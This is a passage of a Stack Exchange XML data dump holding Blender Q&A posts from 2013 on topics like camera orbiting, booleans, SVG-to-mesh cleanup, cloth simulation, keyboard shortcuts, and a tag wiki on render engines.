  <row Id="130" PostTypeId="2" ParentId="124" CreationDate="2013-05-23T07:00:20.090" Score="56" Body="&lt;p&gt;Blender has options that allow you to emulate both of these features. If you go into the &lt;em&gt;User Preferences&lt;/em&gt; view and select the &lt;em&gt;'Input'&lt;/em&gt; tab, you should see a bunch of options on the left side of your screen. To use the numbers across the top of your keyboard instead of a number pad, select &lt;em&gt;'Emulate Numpad.'&lt;/em&gt; To emulate the third mouse button, select &lt;em&gt;'Emulate 3 Button Mouse.'&lt;/em&gt; What this does is allows you to press the &lt;kbd&gt;Alt&lt;/kbd&gt; key while using your left mouse button, and have it behave just like the middle/third mouse button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f1cX2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately however, if you're going to be using Blender heavily, you're going to want to get a real three button mouse and/or a numpad. I would personally heavily recommend getting a USB or wireless three-button mouse from a office supply store--they're really cheap, and it saves a ton of time over the Alt-click setting.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-05-24T22:19:51.390" LastActivityDate="2013-05-24T22:19:51.390" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="131" PostTypeId="1" AcceptedAnswerId="133" CreationDate="2013-05-23T07:23:32.430" Score="19" ViewCount="17966" Body="&lt;p&gt;I want to be able to have the camera rotate around an axis, while still remaining pointed at the center of said axis. The camera should pan around the model in a circular motion with the model always in the center of the view. How do I do this?&lt;/p&gt;&#xA;" OwnerUserId="84" LastEditorUserId="12" LastEditDate="2013-06-12T01:19:20.130" LastActivityDate="2020-05-06T21:29:49.487" Title="How do I 'pan' the camera around an axis for an animation?" Tags="&lt;animation&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="132" PostTypeId="2" ParentId="22" CreationDate="2013-05-23T07:39:44.187" Score="25" Body="&lt;p&gt;&lt;em&gt;The short answer:&lt;/em&gt;&lt;br&gt;&#xA;To get nice results with booleans on polygons you have to make the two entities have a similar level of division. If you can align the geometry for both entities then you will get &lt;em&gt;mostly&lt;/em&gt; clean topology too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The realistic answer:&lt;/em&gt;&lt;br&gt;&#xA;If you can get away with avoiding the boolean operations then you will learn a lot more about modelling, and you will work faster (have more control, and be capable of fixing issues). The idea of a boolean operation is more based in maths than in practical polygon modelling, but it is possible and can look good. Here is a quick &lt;a href=&quot;https://www.youtube.com/results?search_query=blender%20boolean%20tutorial&quot; rel=&quot;noreferrer&quot;&gt;youtube search for this topic&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Booleans have become really quite nice in Blender 2.5+ onwards after implementing the &lt;a href=&quot;http://carve-csg.com/about&quot; rel=&quot;noreferrer&quot;&gt;CARVE library&lt;/a&gt;. But don't expect the convenience of a solid modeller like SolidWorks or other CAD packages that represent geometry internally as mathematical equations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The time spent trying to line up two entities for a clean boolean might be better spent modelling by hand (in this case). Using a few circle polygons and a mirror modifier you'd be surprised how much easier this is to model - plus the added bonus that you can quickly change the geometry without having to individually boolean the whole thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example image&lt;br&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/kUV1n3e.png&quot; alt=&quot;mirrored over x and y&quot;&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/w6Z3NbJ.png&quot; alt=&quot;angle view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the geometry here isn't optimal if you want to bevel the sharp edges, that requires a bit of planning - and beyond the scope of this answer,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/3397495/blender_related/snooker_example.blend&quot; rel=&quot;noreferrer&quot;&gt;example .blend&lt;/a&gt;  (shows all the steps to get the basic idea) At least when you do it by hand you can take into account that you might want to bevel a few edges and create the extra guiding geometry to do that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try doing a bevel on booleaned geometry, it's a world of pain.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-05-27T15:14:20.560" LastActivityDate="2013-05-27T15:14:20.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="133" PostTypeId="2" ParentId="131" CreationDate="2013-05-23T07:41:11.003" Score="16" Body="&lt;p&gt;You can parent the camera to an &lt;em&gt;Empty&lt;/em&gt; to do this. While in the &lt;em&gt;3D Viewport&lt;/em&gt;, press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; and select &lt;em&gt;Cursor to Selected&lt;/em&gt; or &lt;em&gt;Cursor to Center&lt;/em&gt;. Add an empty (&lt;em&gt;&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; &gt; Empty &gt; Plain Axes&lt;/em&gt;). Parent your camera to that empty by selecting the camera first then hold shift while selecting empty. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;P&lt;/kbd&gt; and select &lt;em&gt;Object (Keep Transform)&lt;/em&gt;, now you can rotate the empty 360 degrees based on &lt;em&gt;Z&lt;/em&gt; axis so your camera will pan around in circular motion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7uxSx.png&quot; alt=&quot;Camera parented to the empty&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you find this useful!&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="20508" LastEditDate="2016-06-28T02:16:54.677" LastActivityDate="2016-06-28T02:16:54.677" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="135" PostTypeId="2" ParentId="119" CreationDate="2013-05-23T07:46:12.503" Score="11" Body="&lt;p&gt;Because these objects are merged into one, you have to &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/meshes/uv/unwrapping/introduction.html#workflow&quot; rel=&quot;nofollow noreferrer&quot;&gt;UV unwrap&lt;/a&gt; the object (the standard projection modes won't work) select the image from the drop down and position the UV's where you want them:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3gKBu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user92" LastEditorUserId="15924" LastEditDate="2020-10-06T01:12:01.967" LastActivityDate="2020-10-06T01:12:01.967" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="136" PostTypeId="1" AcceptedAnswerId="138" CreationDate="2013-05-23T07:56:18.010" Score="34" ViewCount="29073" Body="&lt;p&gt;In Blender, extruding and beveling of SVG imported objects, works very well when they are still bezier objects, but the conversion of a SVG path to a mesh is very ugly, with a lot of unnecessary vertex and edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to better the conversion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, is there a better way to model a mesh starting from an SVG shape?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SQrST.jpg&quot; alt=&quot;Example of mesh conversion&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="91" LastEditorUserId="3078" LastEditDate="2015-12-14T21:07:31.150" LastActivityDate="2016-09-28T16:06:34.990" Title="How can I convert an SVG to a mesh?" Tags="&lt;mesh&gt;&lt;bezier-curves&gt;&lt;file-format&gt;&lt;conversion&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="137" PostTypeId="2" ParentId="129" CreationDate="2013-05-23T08:07:44.477" Score="9" Body="&lt;p&gt;First of all you need to create two geometry first are UV sphere and plane. Use &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; to add a mesh. Now select the plane mesh and go to edit mode (press &lt;kbd&gt;tab&lt;/kbd&gt;) select all (press &lt;kbd&gt;a&lt;/kbd&gt;) then press &lt;kbd&gt;w&lt;/kbd&gt; to call special menu and select subdivide. I prefer to increase the number of cuts to 10 (more are better but slower).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this you can optionally add modifier subsurf and turn on shading smooth, for better look of the cloth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, go back to object mode and with the plane still selected, navigate to physic tab in the property panel. Select &lt;strong&gt;cloth&lt;/strong&gt; in the first column, third row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the UV sphere and directly navigate to physic tab again and select &lt;strong&gt;collision&lt;/strong&gt; in the first column, second row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can start play the animation by pressing &lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; or the play button in timeline. The cloth sims now should start.&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="101" LastEditDate="2013-05-23T16:51:57.763" LastActivityDate="2013-05-23T16:51:57.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="138" PostTypeId="2" ParentId="136" CreationDate="2013-05-23T08:14:10.237" Score="27" Body="&lt;p&gt;No, the conversion its self will be scan-filled (like the image you show), however you can cleanup the mesh after.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;For more even distribution: Select the faces that have ugly tessellation. Select the menu item &lt;code&gt;Mesh -&amp;gt; Faces -&amp;gt; Beautify Fill&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To remove redundant edges (and get an ngon), select the face area. Select the menu item &lt;code&gt;Mesh -&amp;gt; Delete -&amp;gt; Limited Dissolve&lt;/code&gt;. set the angle very low to avoid loosing details of the shape, this will give you an ngon.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-05-23T08:14:10.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="139" PostTypeId="1" CreationDate="2013-05-23T08:21:57.497" Score="20" ViewCount="3181" Body="&lt;p&gt;When reviewing the existing cameras of a scene, &#xA;is there a way to quickly cycle through the views of all cameras?&lt;/p&gt;&#xA;" OwnerUserId="94" LastEditorUserId="6204" LastEditDate="2014-12-16T01:30:00.637" LastActivityDate="2015-01-21T01:55:00.100" Title="How do I cycle through the camera views?" Tags="&lt;camera&gt;&lt;shortcut&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="140" PostTypeId="1" AcceptedAnswerId="142" CreationDate="2013-05-23T08:37:58.337" Score="33" ViewCount="40209" Body="&lt;p&gt;If you have a cluster of points selected like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ijaqf.png&quot; alt=&quot;UV sphere&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how do you align the points so that they create a flat plane?&lt;/p&gt;&#xA;" OwnerUserId="84" LastActivityDate="2016-12-24T02:02:13.497" Title="How to align a cluster of points?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="141" PostTypeId="2" ParentId="139" CreationDate="2013-05-23T08:46:10.640" Score="11" Body="&lt;p&gt;You can try by binding the cameras to the markers. In the timeline, press &lt;kbd&gt;M&lt;/kbd&gt; to add marker in specified frames. You can rename that frame by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;M&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you have 2 cameras on viewport, then add two marker on timeline (adjust location of the marker diferently, ie : &lt;code&gt;marker 1 : 1-20&lt;/code&gt;, marker &lt;code&gt;2 : 21-50&lt;/code&gt;). Now select the first camera, press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;0&lt;/kbd&gt; to set as active camera, make sure first marker selected, then in timeline press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt; to bind active camera to first marker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the second marker, then set second camera as active again &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;0&lt;/kbd&gt;, hover the mouse on the timeline and press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when you start the animation &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;, the camera should switch between first and second based on marker position.&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="12" LastEditDate="2013-05-23T13:39:41.670" LastActivityDate="2013-05-23T13:39:41.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="142" PostTypeId="2" ParentId="140" CreationDate="2013-05-23T09:01:39.987" Score="49" Body="&lt;p&gt;You can achieve this by scaling the points along a perpendicular (Normal) axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Via Keyboard:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt;: Change Transform orientation to &lt;code&gt;Normal&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;s&lt;/kbd&gt;: Scale selected&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;z&lt;/kbd&gt;, &lt;kbd&gt;z&lt;/kbd&gt;: The axis to scale on; the first 'z' specifies the global axis. Pressing again specifies local.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;0&lt;/kbd&gt;: The amount to scale by&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;: Confirm the action&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Via Mouse:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z98mB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you need to left click anywhere in the scene to confirm and modify the properties of the tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ujyh3.png&quot; alt=&quot;Change Resize properties&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you will get all the points aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/blz7D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditDate="2013-11-20T08:04:10.147" LastActivityDate="2013-11-20T08:04:10.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="143" PostTypeId="1" AcceptedAnswerId="148" CreationDate="2013-05-23T09:05:16.457" Score="25" ViewCount="22743" Body="&lt;p&gt;The edge slide function for example is only available through &lt;em&gt;edge tool menu&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;) or the &lt;em&gt;search tool&lt;/em&gt; (&lt;kbd&gt;Space&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aYKmo.png&quot; alt=&quot;Searching for the Edge Slide Tool&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When searching for &quot;slide&quot; in the &lt;em&gt;preferences / input-tab&lt;/em&gt; no reference is found. When I try to add a new one I'm not able to map that function to a shortcut. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be achieved another way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eJryI.png&quot; alt=&quot;Searching for Slide in the preferences.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="25" LastEditDate="2013-05-27T21:38:06.937" LastActivityDate="2019-12-07T17:23:41.717" Title="How can I look up or create a shortcut?" Tags="&lt;customization&gt;&lt;shortcut&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="144" PostTypeId="2" ParentId="125" CreationDate="2013-05-23T09:26:47.487" Score="18" Body="&lt;p&gt;In &lt;em&gt;object mode&lt;/em&gt; right click the model than right click the armature with &lt;kbd&gt;Shift&lt;/kbd&gt; after selecting both the model and the armature set the parent by &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;p&lt;/kbd&gt; and choose the option &lt;em&gt;with automatic weights&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r1iVw.png&quot; alt=&quot;object-mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;object mode&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally you can change the armature in pose mode and the model will deform. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RfNwZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;object mode&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the weights (how much a region of the model is influenced by the position of a particular bone) you can enter the &lt;em&gt;weight paint mode&lt;/em&gt; and use the brushes to assign different weights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For rigging a human character you should learn about Rigify which must be enabled in the &lt;em&gt;user preferences / addons section&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mUaGu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;weight paint  mode&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-05-23T09:37:49.730" LastActivityDate="2013-05-23T09:37:49.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="145" PostTypeId="2" ParentId="143" CreationDate="2013-05-23T09:28:42.287" Score="7" Body="&lt;p&gt;If you are using recent blender 2.67 or 2.67a, you can call edge slide by pressing double &lt;kbd&gt;G&lt;/kbd&gt; while edge selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally you can use add-on, for this purpose I recommend &lt;a href=&quot;https://github.com/CGCookie/script-bakery/tree/master/release&quot; rel=&quot;noreferrer&quot;&gt;Quick Tools Add-on by Jonathan Williamson from CGCookie&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2013-05-23T09:28:42.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="146" PostTypeId="1" AcceptedAnswerId="147" CreationDate="2013-05-23T09:43:04.643" Score="8" ViewCount="841" Body="&lt;p&gt;How I can change &lt;code&gt;Transform Orientation&lt;/code&gt; with the keyboard in Ubuntu? In some linux systems (and many others) &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Space&lt;/kbd&gt; are a system combination to show application menu and are captured by the OS.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="6204" LastEditDate="2015-12-14T00:26:17.153" LastActivityDate="2015-12-14T00:26:17.153" Title="How to change Transform Orientation with keyboard in Ubuntu" Tags="&lt;linux&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="147" PostTypeId="2" ParentId="146" CreationDate="2013-05-23T09:50:28.397" Score="7" Body="&lt;p&gt;Personally I'd change the desktop manager binding from alt to super, but in Blender you can change it by going into &lt;strong&gt;User Preferences &gt; Input&lt;/strong&gt;. Then type in the search box &quot;&lt;strong&gt;Orientation&lt;/strong&gt;&quot;. You can click on the &quot;&lt;strong&gt;Alt Spacebar&lt;/strong&gt;&quot; field, after which you can give the wanted key combination for Orientation Selection.&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-05-23T09:50:28.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="148" PostTypeId="2" ParentId="143" CreationDate="2013-05-23T10:50:31.537" Score="21" Body="&lt;p&gt;Edge slide is indeed a special case, triggered through double G (grab mode -&gt; edge slide). For this reason it doesn't show a key map entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can however assign it yourself a key in the input configuration of user preferences. Under 3D View open the Mesh operator tree, scroll down and press Add New. In the first box write &quot;transform.edge_slide&quot;, and give a key or key combo to trigger this. After that you should see the shortkey in the operator search menu as well. In the example image below I've used the equal sign.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SdKsS.png&quot; alt=&quot;Edge Slide manually assigned hotkey. Equal sign in image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-05-23T10:50:31.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="149" PostTypeId="1" AcceptedAnswerId="150" CreationDate="2013-05-23T11:33:03.593" Score="16" ViewCount="5687" Body="&lt;p&gt;On the delete menu with vertices selected, I am presented with two options(among others), dissolve, and limited dissolve. What is the function of each, and when should I use each?&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-05-23T19:51:40.723" Title="What is the difference between dissolve and limited dissolve?" Tags="&lt;modeling&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="150" PostTypeId="2" ParentId="149" CreationDate="2013-05-23T12:11:30.083" Score="12" Body="&lt;p&gt;As per the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.63/BMesh&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;dissolve&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...effectively turns the selection into a single N-gon. Dissolve works&#xA;  slightly different based on if you have edges, faces or vertices&#xA;  selected. You can add detail where you need it, or quickly remove it&#xA;  where you don't.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While a &lt;em&gt;limited dissolve&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...reduces detail on planer faces and linear edges with an adjustable&#xA;  angle threshold.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From experience, you would use a dissolve to create one large N-gon from several vertices while a limited dissolve can be used to remove excess geometry.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-05-23T19:51:40.723" LastActivityDate="2013-05-23T19:51:40.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="151" PostTypeId="2" ParentId="143" CreationDate="2013-05-23T12:20:48.683" Score="12" Body="&lt;p&gt;&lt;em&gt;It's actually not only defined there, selecting an edge and bringing up the shelf on the left with &lt;kbd&gt;T&lt;/kbd&gt;, you can find it under Deform, refer to the 2nd image below. This is with 2.67a btw so this might be a recent addition.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also &lt;em&gt;Right Click&lt;/em&gt; on the a button in Blender to change or lookup the relevant shortcut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DrN5H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;or&lt;/em&gt; if none is already present add one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VkYrv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-05-25T20:24:21.253" LastActivityDate="2013-05-25T20:24:21.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="152" PostTypeId="5" CreationDate="2013-05-23T12:42:54.803" Score="0" Body="&lt;p&gt;Rendering is the process of converting a 3D scene into a 2D image or series of images. During rendering, the lighting, shading, materials, and textures are all applied to the faces of the models in the scene and viewed from a camera, resulting in a final image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render engines that are available for Blender include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles&lt;/a&gt; &lt;a href=&quot;/questions/tagged/cycles&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;cycles&amp;#39;&quot; rel=&quot;tag&quot;&gt;cycles&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/eevee/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Eevee&lt;/a&gt; &lt;a href=&quot;/questions/tagged/eevee&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;eevee&amp;#39;&quot; rel=&quot;tag&quot;&gt;eevee&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/2.79/render/blender_render/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Internal&lt;/a&gt; &lt;a href=&quot;/questions/tagged/blender-internal&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;blender-internal&amp;#39;&quot; rel=&quot;tag&quot;&gt;blender-internal&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/freestyle/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Freestyle&lt;/a&gt; &lt;a href=&quot;/questions/tagged/freestyle&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;freestyle&amp;#39;&quot; rel=&quot;tag&quot;&gt;freestyle&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://luxcorerender.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Luxrender&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.amd.com/en/technologies/radeon-prorender&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radeon ProRender&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.yafaray.org/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;YafaRay&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://appleseedhq.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Appleseed&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.chaosgroup.com/en/2/vray_blender.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;VRay-Blender&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://home.otoy.com/render/octane-render/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Octane&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.aqsis.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Aqsis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mitsuba-renderer.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mitsuba&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.povray.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;POV-Ray&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For questions related to the Game Engine, please use the &lt;a href=&quot;/questions/tagged/game-engine&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;game-engine&amp;#39;&quot; rel=&quot;tag&quot;&gt;game-engine&lt;/a&gt; tag instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Blender Network Render Engine allows you to render a single animation on multiple computers to speed up the total render time. For questions related to the Network Render Engine, please use the &lt;a href=&quot;/questions/tagged/network&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;network&amp;#39;&quot; rel=&quot;tag&quot;&gt;network&lt;/a&gt; tag instead.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="2217" LastEditDate="2019-09-28T13:47:19.907" LastActivityDate="2019-09-28T13:47:19.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="153" PostTypeId="4" CreationDate="2013-05-23T12:42:54.803" Score="0" Body="The action of turning a scene into an end product such as an image or movie. If your question is specific to one render engine, please use its respective tag (cycles, eevee, blender-internal, etc)." OwnerUserId="116" LastEditorUserId="2217" LastEditDate="2019-09-10T13:18:45.583" LastActivityDate="2019-09-10T13:18:45.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
